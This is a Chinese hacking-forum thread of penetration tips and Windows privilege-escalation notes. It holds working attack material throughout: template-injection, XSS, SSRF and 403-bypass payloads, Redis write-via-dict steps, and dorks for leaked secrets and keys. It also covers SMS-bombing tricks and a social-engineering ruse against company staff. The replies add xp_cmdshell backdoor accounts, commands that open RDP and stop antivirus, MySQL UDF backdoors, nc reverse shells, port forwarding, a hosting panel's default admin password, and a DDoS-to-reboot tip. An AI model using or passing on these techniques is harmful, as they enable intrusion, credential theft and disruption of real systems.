如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。

14、图片验证码可设置为空,如:code=undefined

15、自动以验证码内容,观察Cookie中,参数中是否有发送给用户的内容,可以尝试更改,可以构造钓鱼链接。

16、模板注入,在{{xxx}}中输入的命令参数可被执行,如:
  1. www.baidu.com/{{1+1}}
  2. 以Python为例,列出当前目录下所有文件的Payload:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
复制代码

17、信息收集,在搜狗搜索中选择微信可以搜索相关企业相关公众号资产。

18、在JS文件中搜索关键字API,Swagger UI等等,尝试寻找API接口地址。

19、swagger接口常见路径:
  1. /swagger/
  2. /api/swagger/
  3. /swagger/ui/
  4. /api/swagger/ui/
  5. /swagger-ui.html/
  6. /api/swagger-ui.html/
  7. /user/swagger-ui.html/
  8. /swagger/ui/
  9. /api/swagger/ui/
  10. /libs/swaggerui/
  11. /api/swaggerui/
  12. /swagger-resources/configuration/ui/
  13. /swagger-resources/configuration/security/
复制代码

20、swagger组件特征固定title:Swagger UI


21、盲测目录是否存在,如果存在该目录可能会自动在URL末尾添加/补全。


22、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0


23、获取账号:文库,QQ群,github泄露,借/租/买账号。


24、如果泄露阿里云的 AKSK,可以使用AKSKtools工具进一步利用。


xz.aliyun.com/t/842925、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:
  1. 一、GET /xxx HTTP/1.1 à403
  2. Host: test.com
  3. 绕过:
  4. GET /xxx HTTP/1.1 à200
  5. Host: test.com
  6. X-Original-URL: /xxx
  7. 二、GET /xxx HTTP/1.1 à403
  8. Host: test.com
  9. 绕过:
  10. GET /xxx HTTP/1.1 à200
  11. Host: test.com
  12. Referer: http://test.com/xxx
  13. 三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
  14. 四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。
复制代码

26、一款生成gopher协议payload的工具:
  1. https://github.com/firebroo/sec_tools
复制代码

27、Dict协议写入流程:
  1. 1.写入内容;
  2. dict://127.0.0.1:6379/set❌test
  3. 2.设置保存路径;
  4. dict://127.0.0.1:6379/config:set:dir:/tmp/
  5. 3.设置保存文件名;
  6. dict://127.0.0.1:6379/config:set:dbfilename:1.png
  7. 4.保存。
  8. dict://127.0.0.1:6379/save
复制代码

28、CentOS 7系统利用suid提权获取Root Shell
https://www.freebuf.com/articles/system/244627.html
29、xss中标签利用的payload:
  1. <a href=javascript:alert(1)>xx</a>
复制代码

30、XSS过滤了单引号,等号可以:
  1. ①、使用:String.fromCharCode(97,108,101,114,116,40,49,41);
  2. 为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
  3. eval(String.fromCharCode(97,108,101,114,116,40,49,41));
  4. ②、atob函数:
  5. eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号
复制代码

31、XSS过滤了单引号,等号以及圆括号,eval:
  1. ①、过滤了eval函数可以用其他函数去绕过,如:Function,constructor
  2. Function`a${atob`YWxlcnQoMSk=`}```
  3. ``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```
复制代码

32、可使用下面命令查看是否处在docker虚拟机中
  1. cat /proc/1/cgroup
复制代码

33、万能密码试试'=0#34、CORS漏洞验证,可以使用curl来验证:
  1. curl https://www.xxxx.com -H "Origin: https://test.com" -I
  2. 检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com
复制代码

35、在盲测目标系统是否为Shiro时,可以在Cookie中手动构造rememebrMe=xxx

如果返回包中Set-Cookie中存在rememberMe=deleteMe,则证明该系统使用了Shiro,因此可以进一步攻击。

36、使用正则获取网站中所包含的其他URL:
  1. cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
  2. curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
复制代码

37、常见的一些远程命令执行(RCE)参数,详情,请看dicts目录下的RCE-extentions.txt文件。


38、绕过SSRF防护的几个小方法:
  1. A、绕过SSRF限制通过CIDR,如:
  2. http://127.127.127.127
  3. http://127.0.0.0
  4. B、不完整的地址,如:
  5. http://127.1
  6. http://0
  7. C、将地址结合在通过特殊字符结合在一起,如:
  8. http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
  9. urllib : 3.3.3.3
  10. D、绕过解析器,如:
  11. http://127.1.1.1:80\@127.2.2.2:80/
  12. E、绕过localhost通过[::],如:
  13. http://[::]:80/
  14. http://0000::1:80/
复制代码

39、几个常用的Google语法:
  1. inurl:example.com intitle:"index of"
  2. inurl:example.com intitle:"index of /" "*key.pem"
  3. inurl:example.com ext:log
  4. inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
  5. inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
复制代码

40、通过favicon的hash来对比相关联的两个网站:
  1. 脚本地址:https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py
  2. 命令:python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
复制代码

41、一些本地包含参数,详情请看dicts目录下的LFI-extentions.txt文件。


42、在JavaScript文件中可以找一些隐藏的GET参数,比如:
  1. 首先,在js文件中找到一些变量,比如:var test="xss"
  2. 然后,可以尝试使用GET方法构造每一个参数,比如:
  3. https://example.com/?test=”xsstest
  4. 本方法可能会发现一些XSS
复制代码

43、使用github dorks帮助我们寻找一些敏感信息,比如:
  1. extension:pem private
  2. extension:ppk private
  3. extension:sql mysql dump password
  4. extension:json api.forecast.io
  5. extension:json mongolab.com
  6. extension:yaml mongolab.com
  7. extension:ica [WFClient] Password=
  8. extension:avastlic “support.avast.com”
  9. extension:js jsforce conn.login
  10. extension:json googleusercontent client_secret
  11. “target.com” send_keys
  12. “target.com” password
  13. “target.com” api_key
  14. “target.com” apikey
  15. “target.com” jira_password
  16. “target.com” root_password
  17. “target.com” access_token
  18. “target.com” config
  19. “target.com” client_secret
  20. “target.com” user auth
  21. 通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
  22. 另外推荐一个脚本:https://github.com/techgaun/github-dorks
复制代码

44、SSRF常见的参数,详情请看dicts目录下的SSRF-extensions.txt文件。


45、通过添加.json后缀,泄露一些敏感信息,比如:
  1. 一次正常请求:
  2. GET /ResetPassword HTTP/1.1
  3. {"email":"victim@example.com"}
  4. 响应:
  5. HTTP/1.1 200 OK
  6. 添加.json后缀的请求:
  7. GET /ResetPassword.json HTTP/1.1
  8. {"email":"victim@example.com"}
  9. 响应:
  10. HTTP/1.1 200 OK
  11. {"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
  12. 原链接:https://twitter.com/SalahHasoneh1/status/1293918353971531776
复制代码

46、如果响应为401,可以试试在请求头中添加X-Custom-IP-Authorization: 127.0.0.1


47、至于登陆后台的网站,如果有重置密码功能,但被禁用了,可以找该公司技术qq群,假装用户忘记密码,提重置密码需求,让开通功能,可以验证下是否有任意密码重置漏洞。


48、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式:


49,302跳转:拦截并drop跳转的数据包,使其停留在当前页面。


这个操作每次试都是不成功的,但是可以修改返回的302为200,然后删除掉Location字段。



50、任意文件下载:/porc/self/cmdline --当前进程的cmdline参数,/var/lib/mlocate/mlocate.db --全文件路径。


51、容易发生短信轰炸的几个业务场景以及绕过方法:
  1. ①:登录处
  2. ②:注册处
  3. ③:找回密码处
  4. ④:绑定处
  5. ⑤:活动领取处
  6. ⑥:独特功能处
  7. ⑦:反馈处
  8. 一般绕过限制方法:
  9. 手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
  10. 修改cookie,变量,返回
  11. 138888888889   12位经过短信网关取前11位,导致短信轰炸
复制代码

52、注入的时候可以试试--%0a union --%0a select 尝试绕过。


53、注入的时候,多看order by,group by,{$var}。


54、手机号前加若干+会造成短信轰炸。


55、如果在旁站中发现短信验证码在response中出现,可以试试主站或者其他站点中验证码是否通用。


56、获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码。


57、测试注入and ord(0x1)->true,and ord(0x0)->false。

58、遇到文件读取漏洞,除了读取配置文件,还可以尝试读取网站文件,来进行代码审计,说不定就有开发疏忽的漏洞在源代码里。


59、使用python快速开启http服务器:
  1. 基于python2.x,命令如下:
  2. python -m SimpleHTTPServer 8000
  3. # 在当前目录起个 8000 端口的 HTTP 服务
  4. 基于python3.x,命令如下:
  5. python -m http.server 8000
复制代码

60、渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的。


linux 下要查看自己终端是否走代理可以 curlifconfig.me/看下返回的 IP 地址,


windows 就直接访问ifconfig.me/即可


61、整理字典时,推荐用linux下的工具快速合并和去重。
  1. cat file1.txt file2.txt fileN.txt > out.txt
  2. sort out.txt | uniq > out2.txt
复制代码
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-11-13 20:32:37 | 显示全部楼层

‘反引号可以在xxs中绕过,不可以在sql中,但是好像在网站中可以

学校的英语听远程定时关机重启开机,开关显示屏

```
linux关闭显示器命令:xset dpms force off
win:可以命令修改休眠时间,命令定时开启机器
```

1. **第一点**:写http隧道马的时候,用哥斯拉直接编辑新建一个隧道马,但是连接的时候报错,可能是哥斯拉出现了数据断流,导致写进去的文件缺东西了,后来直接把隧道马传上去就不报错了。
2. **第二点**:网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况,但是可能因为目标网络环境的不一样导致各种玄学报错,所以Pystinger的局限性还是很大的,而且Pystinger客户端还不免杀。
3. **第三点**:正向shell免杀,不多说的,cs的无阶段木马都是这样,无法通过混淆加载器的方法免杀。
4. **第四点**:正向shell的提权,cs插件提权只能反弹一个反射型的shell,无法反弹正向shell。
5. **第五点**:有趣的是,无阶段木马是能生成powershell脚本的,而powershell脚本是很好混淆免杀的,但是目标是server2016,默认开启AMSI,混淆免杀在它面前形同虚设。(要是目标是2012、2008系统就可以通过powershell正向bind上线)



alt+鼠标拖动可以进行按列选取

sqlmap-----shell

-priv和-osshell的使用  可以直接上传转换为自己的或者sqlmap自带的aspx码。php码等,还可以利用上传的码转发给msf。cs,或者转换新码加固。转到msf,cs后可以进行进程转发。注入进程等



拿到spn票据然后破解可以得到域的密码(kali有相关的工具)



ls -l /etc/passwd的返回种 -rw-r- -r- -表示/etc/passwd文件不允许除root以外的用户进行写入,但passwd命令可以(通过setuid机制)临时以root权限来运行

-r-s- -x- -x中的 r-s  这里的s表示该程序以启用setuid

-rws- -x- -x 中的rws表示已经启用了setuid



回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-12-4 14:25:34 | 显示全部楼层
提权:
1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:windowstempcookiesnet1.exe user

2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了。

3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com/cmd.txt 都可以。

4.cmd命令:systeminfo,看看有没有KB952004、KB956572、KB970483这三个补丁,如果没有,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权。

6.c:windowstempcookies 这个目录

7.找sa密码或是root密码,直接利用大马的文件搜索功能直接搜索,超方便!

8.cmd执行exp没回显的解决方法:com路径那里输入exp路径C:RECYCLERpr.exe,命令那里清空(包括/c )输入”net user jianmei daxia /add”

9.增加用户并提升为管理员权限之后,如果连接不上3389,上传rootkit.asp脚本,访问会提示登录,用提权成功的账号密码登录进去就可以拥有管理员权限了。

10.有时变态监控不让添加用户,可以尝试抓管理哈希值,上传“PwDump7 破解当前管理密码(hash值)”,俩个都上传,执行PwDump7.exe就可以了,之后到网站去解密即可。

11.有时增加不上用户,有可能是密码过于简单或是过于复杂,还有就是杀软的拦截,命令 tasklist 查看进程

12.其实星外提权只要一个可执行的文件即可,先运行一遍cmd,之后把星外ee.exe命名为log.csv 就可以执行了。

13.用wt.asp扫出来的目录,其中红色的文件可以替换成exp,执行命令时cmd那里输入替换的文件路径,下面清空双引号加增加用户的命令。

14.提权很无奈的时候,可以试试TV远控,通杀内外网,穿透防火墙,很强大的。

15. 当可读可写目录存在空格的时候,会出现这样的情况:’Cocuments’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。解决办法是利用菜刀的交互shell切换到exp路径,如:Cd Cocuments and SettingsAll UsersApplication DataMicrosoft 目录
然后再执行exp或者cmd,就不会存在上面的情况了,aspshell一般是无法跳转目录的~

16.有时候可以添加用户,但是添加不到管理组,有可能是administrators改名了,net user administrator 看下本地组成员,*administrators

17.进入服务器,可以继续内网渗透 这个时候可以尝试打开路由器 默认帐号密码 admin admin

18.有的cmd执行很变态,asp马里,cmd路径填上面,下面填:””c:xxxexp.exe “whoami” 记得前面加两个双引号,不行后面也两个,不行就把exp的路径放在cmd那里,下面不变。

19.一般增加不上用户,或是想添加增加用户的vbs,bat,远控小马到服务器的启动项里,用“直接使服务器蓝屏重启的东东”这个工具可以实现,

20.执行PwDump7.exe抓哈希值的时候,建议重定向结果到保存为1.txt /c c:windowstempcookiesPwDump7.exe >1.txt

21.菜刀执行的技巧,上传cmd到可执行目录,右击cmd 虚拟终端,help 然后setp c:windowstempcmd.exe 设置终端路径为:c:windowstempcmd.exe

22.当不支持aspx,或是支持但跨不了目录的时候,可以上传一个读iis的vps,执行命令列出所有网站目录,找到主站的目录就可以跨过去了。
上传cscript.exe到可执行目录,接着上传iispwd.vbs到网站根目录,cmd命令/c “c:windowstempcookiescscript.exe” d:webiispwd.vbs

23.如何辨别服务器是不是内网?192.168.x.x 172.16.x.x 10.x.x.x

(( dos命令大全 ))

查看版本:ver

查看权限:whoami

查看配置:systeminfo

查看用户:net user

查看进程:tasklist

查看正在运行的服务:tasklist /svc

查看开放的所有端口:netstat -ano

查询管理用户名:query user

查看搭建环境:ftp 127.0.0.1

查看指定服务的路径:sc qc Mysql

添加一个用户:net user jianmei daxia.asd /add

提升到管理权限:net localgroup administrators jianmei /add

添加用户并提升权限:net user jianmei daxia.asd /add & net localgroup administrators jianmei /add

查看制定用户信息:net user jianmei

查看所有管理权限的用户:net localgroup administrators

加入远程桌面用户组:net localgroup “Remote Desktop Users” jianmei /add

突破最大连接数:mstsc /admin /v:127.0.0.1

删除用户:net user jianmei /del

删除管理员账户:net user administrator daxia.asd

更改系统登陆密码:net password daxia.asd

激活GUEST用户:net user guest /active:yes

开启TELNET服务:net start telnet

关闭麦咖啡:net stop “McAfee McShield”

关闭防火墙:net stop sharedaccess

查看当前目录的所有文件:dir c:windows

查看制定文件的内容:type c:windows1.asp

把cmd.exe复制到c:windows的temp目录下并命名为cmd.txt:

copy c:windowstempcookiescmd.exe c:windowstempcmd.txt

开3389端口的命令:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

查 看补丁:

dir c:windows>a.txt&(for %i in (KB952004.log KB956572.log KB2393802.log KB2503665.log KB2592799.log KB2621440.log KB2160329.log KB970483.log KB2124261.log KB977165.log KB958644.log) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt

(( SQL语句直接开启3389 ))

3389登陆关键注册表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\DenyTSConnections

其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。

而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。


开启3389的SQL语句:

syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–


关闭3389的SQL语句:

syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server ’,’fDenyTSConnections’,’REG_DWORD’,1;–


(( 常见杀软 ))

360tray.exe 360实时保护

ZhuDongFangYu.exe 360主动防御

KSafeTray.exe 金山卫士

McAfee McShield.exe 麦咖啡

SafeDogUpdateCenter.exe 服务器安全狗

(( windows提权中敏感目录和敏感注册表的利用 ))

敏感目录 目录权限 提权用途

Crogram Files 默认用户组users对该目录拥有查看权 可以查看服务器安装的应用软件
Cocuments and SettingsAll Users「开始」菜单程序 Everyone拥有查看权限 存放快捷方式,可以下载文件,属性查看安装路径
Cocuments and SettingsAll UsersDocuments Everyone完全控制权限 上传执行cmd及exp
C:windowssystem32inetsrv Everyone完全控制权限 上传执行cmd及exp
C:windowsmy.iniCrogram FilesMySQLMySQL Server 5.0my.ini 默认用户组users拥有查看权限 安装mysql时会将root密码写入该文件
C:windowssystem32 默认用户组users拥有查看权限 Shift后门一般是在该文件夹,可以下载后门破解密码
Cocuments and SettingsAll Users「开始」菜单程序启动 Everyone拥有查看权限 可以尝试向该目录写入vbs或bat,服务器重启后运行。
C:RECYCLERD:RECYCLER Everyone完全控制权限 回收站目录。常用于执行cmd及exp
Crogram FilesMicrosoft SQL Server 默认用户组users对该目录拥有查看权限 收集mssql相关信息,有时候该目录也存在可执行权限
Crogram FilesMySQL 默认用户组users对该目录拥有查看权限 找到MYSQL目录中user.MYD里的root密码
Craclexe 默认用户组users对该目录拥有查看权限 可以尝试利用Oracle的默认账户提权
C:WINDOWSsystem32config 默认用户组users对该目录拥有查看权限 尝试下载sam文件进行破解提权
Crogram FilesGeme6 FTP ServerRemote AdminRemote.ini 默认用户组users对该目录拥有查看权限 Remote.ini文件中存放着G6FTP的密码
crogram FilesRhinoSoft.comServ-Ucrogram FilesServ-U 默认用户组users对该目录拥有查看权限 ServUDaemon.ini 中存储了虚拟主机网站路径和密码
c:windowssystem32inetsrvMetaBase.xml 默认用户组users对该目录拥有查看权限 IIS配置文件
C:tomcat5.0confresin.conf 默认用户组users对该目录拥有查看权限 Tomat存放密码的位置
C:ZKEYSSetup.ini 默认用户组users对该目录拥有查看权限 ZKEYS虚拟主机存放密码的位置

(( 提权中的敏感注册表位置 ))

HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServerSuperSocketNetLibTcp Mssql端口
HKLMSYSTEMCurrentControlSetControlTerminal Server DenyTSConnections 远程终端 值为0 即为开启
HKEY_LOCAL_MACHINESOFTWAREMySQL AB mssql的注册表位置
HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG 华众主机注册表配置位置
HKEY_LOCAL_MACHINESOFTWARECat SoftServ-UDomains1UserList serv-u的用户及密码(su加密)位置
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer WinStationsRDP-Tcp 在该注册表位置PortNumber的值即位3389端口值
HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers mysql管理工具Navicat的注册表位置,提权运用请谷歌
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters Radmin的配置文件,提权中常将其导出进行进行覆盖提权
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual Roots IIS注册表全版本泄漏用户路径和FTP用户名漏洞
HKEY_LOCAL_MACHINEsoftwarehzhostconfigSettingsmastersvrpass 华众主机在注册表中保存的mssql、mysql等密码
HKEY_LOCAL_MACHINESYSTEMLIWEIWENSOFTINSTALLFREEADMIN11 星外主机mssql的sa账号密码,双MD5加密
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual RootsControlSet002 星外ftp的注册表位置,当然也包括ControlSet001、ControlSet003

(( wscript.shell的删除和恢复 ))

载wscript.shell对象,在cmd下或直接运行:regsvr32 /u %windir%system32WSHom.Ocx

卸载FSO对象,在cmd下或直接运行:regsvr32.exe /u %windir%system32scrrun.dll

卸载stream对象,在cmd下或直接运行:regsvr32 /s /u “CrogramFilesCommonFilesSystemadomsado15.dll”

如果想恢复的话只需要去掉/U 即可重新再注册以上相关ASP组件,这样子就可以用了

(( 如何找到准确的终端连接端口?))

在aspx大马里,点击“系统信息”第三个就是目前的3389端口

或是执行命令查看正在运行的服务:tasklist /svc

找到:svchost.exe 1688 TermService

记住1688这个ID值,

查看开放的所有端口:netstat -ano

找到1688这个ID值所对应的端口就是3389目前的端口


(( iis6提权提示Can not find wmiprvse.exe的突破方法 ))



windows2003    iis6



iis7在windows2008以上


突破方法一:

在IIS环境下,如果权限做得不严格,我们在aspx大马里面是有权限直接结束wmiprvse.exe进程的,进程查看里面直接K掉

在结束之后,它会再次运行,这时候的PID值的不一样的。这时候我们回来去运行exp,直接秒杀。


突破方法二:

虚拟主机,一般权限严格限制的,是没权限结束的,这时候我们可以考虑配合其他溢出工具让服务器强制重启,比如“直接使服务器蓝屏重启的东东”

甚至可以暴力点,DDOS秒杀之,管理发现服务器不通了首先肯定是以为服务器死机,等他重启下服务器(哪怕是IIS重启下)同样秒杀之。

(( 本地溢出提权 ))

计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了.

缓存区溢出漏洞主要是由于许多软件没有对缓存区检查而造成的.

利用一些现成的造成溢出漏洞的exploit通过运行,把用户从users组或其它系统用户中提升到administrators组.

想要执行cmd命令,就要wscript.shell组建支持,或是支持aspx脚本也行,因为aspx脚本能调用.net组件来执行cmd的命令.



(( sa提权 ))--windows。。sqlserver只能用于windows


扫描开放的端口,1433开了就可以找sa密码提权,用大马里的搜索文件功能,sa密码一般在conn.asp config.asp web.config 这三个文件

也可以通过注册表找配置文件,看下支持aspx不,支持的话跨目录到别的站点上找,找到之后用aspshell自带的sql提权登录再执行命令创建用户即可。

aspx马提权执行命令有点不一样,点击数据库管理–选MSSQL–server=localhost;UID=saWD=;database=masterrovider=SQLOLEDB–输入帐号密码连接即可

增加一个用户:exec master.dbo.xp_cmdshell ‘net user jianmei daxia.asd /add’;–
提升为管理员:exec master.dbo.xp_cmdshell ‘net localgroup administrators jianmei /add’;–

PS:如果增加不上,说明是xp_cmdshell组建没有,增加xp_cmdshell组建:Use master dbcc addextendedproc(‘xp_cmdshell’,’xplog70.dll’)

(( root提权 ))--windows/linux

利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,是默认安装以系统权限继承的(system权限). 并且获得了root的账号密码

如何判断一台windows服务器上的mysql有没有降权?
cmd命令net user 如果存在 mysql mssql这样用户或者类似的.通常就是它的mssql mysql服务已经被降权运行了

如何判断服务器上是否开启了mysql服务?
开了3306端口,有的管理员会把默认端口改掉.另一个判断方法就是网站是否支持php,一般支持的话都是用mysql数据库的.

如何查看root密码?
在mysql的安装目录下找到user.myd这个文件,root就藏在里面,一般是40位cmd加密,一些php网站安装的时候用的是root用户,在conn.asp config.asp这些文件里。
有时会显得很乱,这时就需要自己去组合,前17位在第一行可以找到,还有23位在第三行或是其他行,自己继续找。

可以直接用php脚本里“mysql执行”,或是上传个UDF.php,如果网站不支持PHP,可以去旁一个php的站,也可以把UDF.php上传到别的phpshell上也可以。

填入帐号密码之后,自然就是安装DLL了,点击“自动安装Mysql BackDoor” 显示导出跟创建函数成功后,紧接着执行增加用户的命令即可。

注意:5.0版本以下(包括5.0的)默认c:windows系统目录就可以了,5.1版本以上的不能导出到系统目录下创建自定义函数,只能导出在mysql安装目录下的lib/plugin目录中

例如:D:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/mysql.dll

如果密码看不见,或是组合不到40位,就本地安装一个mysql吧,
1、停止mysql服务
2、替换下载下来的3个文件(user.MYI user.MYD user.frm)
3、cmd切换到bin目录下,进入mysql安全模式,cmd命令:mysqld-nt –skip-grant-tables
4、重新打开一个cmd 切换到bin目录下,cmd命令:mysql -u root 版本不同有可能是:mysql -uroot -proot
5、最后查询一下就出来了select user,password from mysql.user;

(( serv-u提权 ))--ftp--windows

这个文件里包含serv-u的md5密码:Crogram FilesRhinoSoft.comServ-U\ServUDaemon.ini

找到这个文件:ServUDaemon.ini 打开找到:LocalSetupPassword=nqFCE64E0056362E8FCAF813094EC39BC2

再拿md5密文去解密,再用现在的密码登陆提权即可。

serv-u提权的前提是43958端口开了,且知道帐号密码!

如果帐号密码默认,直接用shell里面的serv-u提权功能即可搞定,建议用aspx马、php马去提权,因为可以看回显。

530说明密碼不是默认的,回显330说明成功,900说明密码是默认的……………..

在程序里找个快捷方式,或是相关的文件进行下载到本地,再查看文件的属性,就可以找到serv-u的安装目录了。

目录有修改权限之serv-u提权:

找到serv-u的目录,再找到用户的配置文件ServUDaemon.ini,直接增加一个用户代码,保存!

接着本地cmd命令:ftp 服务器ip

回车,输入帐号密码再回车………………….

接着先试试普通的cmd命令提权,不行的话就使用ftp提权的命令:

Quote site exec net user jianmei daxia /add 增加一个用户

Quote site exec net localgroup administrators jianmei /add 提升到管理员权限

200 EXEC command successful (TID=33). 执行成功的回显信息

Maintenance=System 权限类型多加一行指定新加帐号为系统管理员

ReloadSettings=True 在修改ini文件后需加入此项,这时serv-u会自动刷新配置文件并生效

(( 端口转发 ))

什么情况下适合转发端口?

1.服务器是内网,我们无法连接。
2.服务器上有防火墙,阻断我们的连接。

转发端口的前提,我们是外网或是有外网服务器。

找个可读可写目录上传lcx.exe

本地cmd命令:lcx.exe -listen 1988 4567 (监听本地1988端口并转发到4567端口)

接着shell命令:/c c:windowstempcookieslcx.exe -slave 本机ip 1988 服务器ip 3389 (把服务器3389端口转发到本地4567端口)

之后本地连接:127.0.0.1:4567 (如果不想加上:4567的话,本地执行命令的时候,把4567换成3389来执行就行了)

以上是本机外网情况下操作,接着说下在外网服务器里如何操作:

上传lxc.exe cmd.exe到服务器且同一目录,执行cmd.exe命令:lcx.exe -listen 1988 4567

接着在aspxshell里点击端口映射,远程ip改为站点的ip,远端口程填1988,点击映射端口,接着在服务器里连接127.0.0.1:4567就可以了。

(( nc反弹提权 ))

当可以执行net user,但是不能建立用户时,就可以用NC反弹提权试下,特别是内网服务器,最好用NC反弹提权。

不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口,那么这种方法也失效了….

找个可读可写目录上传nc.exe cmd.exe


-l 监听本地入栈信息

-p port打开本地端口

-t 以telnet形式应答入栈请求

-e 程序重定向

本地cmd执行:nc -vv -l -p 52 进行反弹

接着在shell里执行命令:c:windowstempnc.exe -vv 服务器ip 999 -e c:windowstempcmd.exe 最好是80或8080这样的端口,被防火墙拦截的几率小很多

执行成功后本地cmd命令:cd/ (只是习惯而已)

接着以telnet命令连接服务器:telnet 服务器ip 999

回车出现已选定服务器的ip就说明成功了,接着权限比较大了,尝试建立用户!

坏蛋:
本地cmd执行:nc -vv -l -p 52 进行反弹
c:windowstempnc.exe -e c:windowstempcmd.exe 服务器ip 52

低调小飞:
shell执行命令c:windowstempnc.exe -l -p 110 -t -e c:windowstempcmd.exe


一般这样的格式执行成功率很小,不如直接在cmd那里输入:c:windowstempnc.exe 命令这里输入:-vv 服务器ip 999 -e c:windowstempcmd.exe

这个技巧成功率比上面那个大多了,不单单是nc可以这样,pr这些提权exp也是可以的。

(( 星外提权 ))--windows

如何知道是不是星外主机?

第一:网站物理路径存在“freehost”
第二:asp马里点击程序,存在“7i24虚拟主机管理平台”“星外主机”之类的文件夹

默认帐号:freehostrunat
默认密码:fa41328538d7be36e83ae91a78a1b16f!7

freehostrunat这个用户是安装星外时自动建立的,已属于administrators管理组,而且密码不需要解密,直接登录服务器即可

星外常写目录:

C:RECYCLER
C:windowstemp
e:recycler
f:recycler
C:phpPEAR
C:WINDOWS7i24.comFreeHost
C:phpdev
C:System Volume Information
C:7i24.comserverdoctorlog
C:WINDOWSTemp
c:windowshchiblis.ibl
C:7i24.comiissafelog
C:7i24.comLinkGatelog
Crogram FilesThunder NetworkThunder7
C:Program FilesThunder NetworkThunder
C:Program FilesSymantec AntiVirusSAVRT
c:windowsDriverPacksCAM2
C:Program FilesFlashFXP
c:Program FilesMicrosoft SQL Server90SharedErrorDumps
C:Program FilesZendZendOptimizer-3.3.0
C:Program FilesCommon Files
cocuments and SettingsAll UsersApplication DataHagel TechnologiesDU Meterlog.csv
c:Program Files360360SafedeepscanSectionmutex.db
c:Program FilesHeliconISAPI_Rewrite3error.log
c:Program FilesHeliconISAPI_Rewrite3Rewrite.log
c:Program FilesHeliconISAPI_Rewrite3httpd.conf
c:Program FilesCommon FilesSymantec SharedPersist.bak
c:Program FilesCommon FilesSymantec SharedValidate.dat
c:Program FilesCommon FilesSymantec SharedValidate.dat
C:Program FilesZendZendOptimizer-3.3.0docs
Cocuments and SettingsAll UsersDRM
Cocuments and SettingsAll UsersApplication DataMcAfeeDesktopProtection
Cocuments and SettingsAll UsersApplication Data360safesoftmgr
C:Program FilesZendZendOptimizer-3.3.0libOptimizer-3.3.0php-5.2.xZendOptimizer.dll
Cocuments and SettingsAll UsersApplication DataMicrosoftMedia Index


ee提权法:

找个可读可写目录上传ee.exe

cmd命令:/c c:windowstempcookiesee.exe -i (获取星外帐号的id值,例如回显:FreeHost ID:724)

接着命令:/c c:windowstempcookiesee.exe -u 724 (获取星外的帐号密码)


vbs提权法:

找个可读可写目录上传cscript.exe iispwd.vbs

cmd命令:/c “c:windowstempcookiescscript.exe” c:windowstempcookiesiispwd.vbs

意思是读取iis,这样一来,不但可以获取星外的帐号密码,还可以看到同服务器上的所有站点的目录。


可行思路大全:

